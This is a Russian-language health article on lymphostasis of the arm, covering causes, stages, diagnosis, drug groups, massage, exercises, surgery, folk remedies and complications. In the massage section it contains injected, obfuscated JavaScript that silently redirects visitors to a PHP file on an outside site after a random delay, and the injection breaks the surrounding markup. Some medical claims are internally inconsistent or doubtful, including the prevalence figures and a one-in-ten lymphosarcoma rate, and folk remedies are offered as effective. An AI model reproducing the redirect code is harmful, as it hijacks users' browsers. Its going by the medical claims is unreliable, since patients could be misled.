Лимфатическая система необходима человеку для транспортировки различных веществ непосредственно к тканям, которые в них нуждаются. При нарушении тока лимфы на любом из уровней развивается застой, который провоцирует серьёзное воспаление. Такое состояние вызывает масштабные изменения тканей. Какие факторы способствуют развитию лимфостаза руки? Как диагностировать и вылечить это заболевание?
Содержание
Что собой представляет лимфостаз руки
Лимфостаз – это процесс скопления излишней жидкости в тканях подкожной клетчатки из-за определённых нарушений в процессе её оттока. Локализоваться проблема может как в нижних, так и в верхних конечностях. Заболевание прогрессирующее, и если оно затрагивает мелкие лимфатические сосуды, то проявления незначительны, но при проблемах с крупными протоками изменения тканей становятся масштабными.
Замечание специалиста! По статистике, в среднем от данной проблемы страдает один человек из 10 тысяч, причём в большинстве случаев это заболевание является врождённым.
Застой лимфы провоцирует не только сильную отёчность, но и начало воспалительного процесса из-за задержки в тканях ненужных элементов – такое состояние носит название лимфедема. В группе повышенного риска находятся женщины в возрасте около 35-ти лет.
При подозрении на развитие застоя лимфы необходима консультация врача-лимфолога, который точно установит диагноз. В лечении же принимают участие специалисты нескольких направлений: хирург (в том числе сосудистый), флеболог и другие в зависимости от локализации и причины проблемы.
Причины
В большинстве случаев (70%) лимфостаз рук является следствием операции по удалению местных лимфатических сосудов и (или) части грудных мышц на молочной железе.
Кроме того, спровоцировать застой лимфатической ткани могу следующие причины:
- врождённая недостаточность лимфатических сосудов;
- раковая опухоль;
- сердечная недостаточность;
- травматическое или ожоговое повреждение верхних косностей;
- венозная недостаточность хронического характера;
- наличие свищей между артериями и венами;
- сдавливание сосудов инфильтратами при воспалении или опухолевыми образованиями;
- лучевая терапия зоны верхних конечностей;
- стрептококковое поражение.
По течению выделяют лимфостаз:
- острый — возникает сразу после операции или травмирующего события и длится не более полугода (лимфоток постепенно восстанавливается при заживлении повреждённых сосудов);
- хронический, развитие которого постепенно и продолжительно, с постоянным прогрессированием проблемы.
Симптомы
Выделяют несколько степеней развития заболевания, на каждой из которых появляются свои специфические симптомы. Итак, на первом этапе есть два варианта развития ситуации:
- рука (или обе руки) незначительно отекает преимущественно ближе к вечеру, а утром опухлость сходит;
- отёчность постоянная, однако нет никаких признаков разрастания соединительной ткани.
Дискомфорта или болезненных ощущений на данном этапе нет, поэтому пациенты редко обращаются за врачебной помощью. Хотя именно на первом этапе при правильном лечении можно полностью предотвратить дальнейшее развитие проблемы.
На второй стадии отёк руки приобретает постоянный характер. Соединительные ткани начинают активно разрастаться, что приводит к некоторому отвердеванию кожных покровов на поражённом участке.
Для последней стадии типичны следующие проявления:
- симптоматика предыдущих стадий значительно усиливается, патология приобретает необратимый характер;
- пальцы деформируются;
- появляется болезненность и постоянное чувство дискомфорта;
- рука значительно увеличивается в размерах, а на коже появляются кисты и язвенные поражения;
- из-за прогрессирования болезни конечность утрачивает подвижность (частично или полностью).
Мнение врача: хирургическое вмешательство показано только на последней стадии проблемы, причём преимущественно для удаления последствий прогрессирования лимфостаза. Операции можно избежать, своевременно обратившись к врачу и выполняя все рекомендации.
Диагностика
Постановка диагноза, в первую очередь, основывается на результатах осмотра пациента. Для определения степени отёчности врач нажимает пальцем на повреждённый участок – в нём должна сохраниться ямка. Типичным признаком застоя лимфы является сохранность функций мышц и суставов руки и увеличение близлежащих лимфоузлов. Для подтверждения диагноза назначают:
- лимфографию;
- КТ;
- исследование крови;
- капилляроскопию.
Консервативный подход в лечении
Комплекс лечебных мероприятий определяется тем, на какой стадии находится заболевание и что именно его спровоцировало. Общая схема подразумевает сочетание медикаментозной терапии, лимфодренажного массажа, комплекса гимнастических упражнений, ношения компрессионного бандажа и соблюдения диеты.
Медикаментозная терапия
Медикаментозная терапия лимфостаза подразумевает применение нескольких групп препаратов для устранения причины и сопутствующих симптомов.
| Группа препаратов | Примеры препаратов | Механизм действия |
|
Флеботропные |
|
Флеботропные средства – большая группа веществ, которые помогают нормализовать венозный отток. Они улучшают циркуляцию в сосудах и уменьшают воспаление. Применяют их курсами (не чаще двух раз в год). |
|
Диуретики |
|
Мочегонные средства помогают частично снимать отёчность, выводя лишнюю жидкость из организма. Их нельзя применять при:
|
|
Кумарины |
|
Способствуют расщеплению крупных молекул для облегчения выведения из организма ненужных веществ. |
|
Антибиотические средства |
Препараты пенициллинового ряда (амоксициллин, оксациллин, ампициллин) |
Показаны при развитии инфекционного поражения. |
|
Поддерживающие средства |
Витаминные комплексы, ферменты и т. д. |
Назначаются для общего улучшения состояния организма. |
Продолжительность лечения и дозировка определяются врачом в индивидуальном порядке.
Массаж
Массажные процедуры для руки можно проводить как в домашних условиях, так и в специализированных салонах. Есть два основных метода воздействия на конечность:
- мягкое и медленное массирование руки по всей длине и со всех сторон;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2016/02/gimn-728×481.jpg» alt=»девушка с поднятой вверх рукой» width=»728″ height=»481″ /> При выполнении самомассажа необходимо поднять руку вверх и опереться на твёрдую поверхность
- поглаживания от кисти к локтю и от локтя к плечу, при этом необходимо поднять руку и опереться на вертикальную поверхность.
Самомассаж должен продолжаться около пяти минут, повторять комплекс нужно через каждые два часа. По назначению врача также возможно дополнительное использование мазей во время процедуры.
Лечебная физкультура
Все упражнения лечебной гимнастики при лимфостазе руки выполняются в сидячем положении. Необходимо повторять каждое движение от 5 до 10-ти раз, при этом не должно возникать неприятных ощущений. Рассмотрим несколько основных упражнений:
- руки лежат на коленях, локти распрямлены. Кисти нужно попеременно переворачивать ладонью вверх, не напрягая при этом пальцы;
- согнутые в локтях руки размещают ладонями на плечах и совершают ими подъёмы вверх-вниз;
- больную руку поднимают на несколько секунд и опускают вниз;
- круговые движения плечевыми суставами вперёд и назад;
- пальцы за спиной нужно сомкнуть в замок, локти согнуть так, чтобы тыльная сторона ладоней прижалась к спине. В таком положении нужно стараться поднять ладони по спине как можно выше.
Комплекс специальных упражнений (видео)
Хирургический подход
На последней стадии лимфостаза, а также при наличии сильных болей или постоянно рецидивирующего рожистого воспаления требуется хирургическое вмешательство. Оно может проводиться разными способами:
- анастомоз лимфовенозного типа – установление соустья между венами и лимфатическими токами. Операция относится к микрохирургическому вмешательству и помогает восстановить ток лимфы при застое из-за травматического повреждения руки;
- пересадка лимфоузлов необходима, если лимфостаз стал следствием мастэктомии с удалением регионарных узлов;
- при запущенном лимфостазе применяется техника туннелирования – в поражённых тканях руки врачами создаются специальные каналы, через которые жидкость легко уходит из поражённой конечности;
- липосакция применяется для уменьшения объёма конечности (подразумевает отсасывание жировой ткани);
- резекционные вмешательства для удаления изменённой кожи и подкожной клетчатки.
Особенности периода восстановления после операции определяются конкретным типом вмешательства. К общим рекомендациям можно отнести обеспечение покоя поражённой конечности и наложение специальных бандажей. Для ускорения процесса выздоровления следует придерживаться определённых рекомендаций по питанию:
- в рационе должно быть увеличено количество белков (причём сочетать нужно и растительные, и животные);
- в сутки пациент должен потреблять не менее 10 грамм животного и 20 грамм растительного жира (масла);
- необходимо исключить соль, так как она усложняет процесс оттока жидкости и повышает риск формирования отёчности.
Народные методы
При лимфостазе руки применяются и народные средства, однако исключительно в комплексе с основными методами лечения заболевания. Рассмотрим несколько эффективных рецептов:
- компресс из смеси запечённой и измельчённой луковицы, столовой ложки дёгтя и небольшого количества мёда. Повязку с составом накладывают на ночь;
- 250 грамм чеснока измельчают и смешивают с 300 мл мёда в жидком виде. Смесь настаивают около недели, после чего принимают по столовой ложке перед едой на протяжении двух месяцев;
- отвар из листьев подорожника (чайная ложка травы на стакан кипятка). Принимают три раза в день по 70 мл на протяжении двух месяцев;
- отвар бессмертника, календулы и коры дуба. Готовится и употребляется средство аналогичным способом.
Народные средства при лечении лимфостаза (галерея)
-
- Лимфостаз верхних конечностей встречается довольно редко, однако именно эта форма типична для прекрасного пола
-
- Чеснок
-
- Лук
-
- Календула
-
- Подорожник
-
- Бессмертник
-
- Календула
-
- Необходимо мягко массировать руку по всей длине
-
- При выполнении самомассажа необходимо поднять руку вверх и опереться на твёрдую поверхность
Профилактика лимфостаза
Профилактика лимфостаза подразумевает выполнение ряда мероприятий, препятствующих застою лимфатической ткани при наличии риска его развития:
- правильное питание с пониженным содержанием соли;
- наличие постоянных и умеренных физических нагрузок;
- не сдавливающая руки одежда;
- своевременное лечение всех имеющихся заболеваний.
Возможные осложнения
Сам по себе лимфостаз не представляет угрозы для жизни пациента, опасными считаются осложнения из-за деформации и разрастания тканей:
- из-за нарушения питания кожных покровов появляются трофические язвенные поражения, которые трудно поддаются лечению. Без необходимых мероприятий такое осложнение может стать причиной сепсиса;
- рожистое воспаление – бактериальная инфекция, вызываемая стрептококками. При наличии такого осложнения часто требуется госпитализация для активного лечения;
- ухудшение состояния соседних тканей из-за сдавливания разрастанием конечности;
- лимфосаркома – развивается у каждого десятого пациента, но в среднем через 10 лет после болезни.
Лимфостаз руки – сложное заболевание, требующее длительного лечения. Такая проблема часто возникает после операций на молочной железе, поэтому женщинам, перенёсшим подобное, необходимо внимательно следить за своим здоровьем и при первых симптомах обратиться к врачу. Будьте здоровы!
